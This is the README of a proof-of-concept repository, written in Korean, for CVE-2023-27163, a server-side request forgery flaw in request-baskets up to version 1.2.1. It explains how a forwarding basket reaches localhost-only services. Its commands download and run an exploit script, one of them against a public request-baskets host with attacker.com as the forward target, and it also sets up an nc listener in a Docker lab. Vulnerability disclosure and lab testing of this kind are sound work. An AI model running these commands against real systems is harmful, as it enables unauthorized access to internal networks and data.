
request-baskets (<= v.1.2.1)에서 서버 측 요청 위조(SSRF)에 대한 개념 증명
이 저장소는 request-baskets의 버전 1.2.1까지 발견된 서버 측 요청 위조(SSRF) 취약점인 CVE-2023-27163에 대한 개념 증명(PoC)을 포함하고 있습니다. 이 취약점을 통해 공격자는 조작된 API 요청을 통해 /api/baskets/{name} 구성 요소를 악용하여 네트워크 리소스와 민감한 정보에 접근할 수 있습니다.
크레딧: @b33t1e, @chelinboo147, @houqinsheng (자세한 내용은 문서 참조).
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
bash ./CVE-2023-27163.sh https://rbaskets.in/ http://attacker.com/
Request-baskets는 특정 경로(소위 '바스켓'이라고 함)에 대한 요청을 수집하고 등록하도록 구축된 웹 애플리케이션입니다. 생성할 때 사용자는 요청을 전달할 다른 서버를 지정할 수 있습니다. 여기서 문제는 사용자가 네트워크 차단 애플리케이션과 같은 의도하지 않은 서비스를 지정할 수 있다는 점입니다.
예를 들어, 서버가 Request-baskets(포트 55555)와 포트 8000의 Flask 웹 서버를 호스팅한다고 가정해 보겠습니다. Flask는 또한 localhost와만 상호 작용하도록 구성되어 있습니다. http://localhost:8000으로 전달되는 바스켓을 생성함으로써 공격자는 이전에 제한되었던 Flask 웹 서버에 접근할 수 있습니다.

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
nc -lvp 8000
DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')
./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/
이 프로젝트는 Unlicense 하에 있습니다.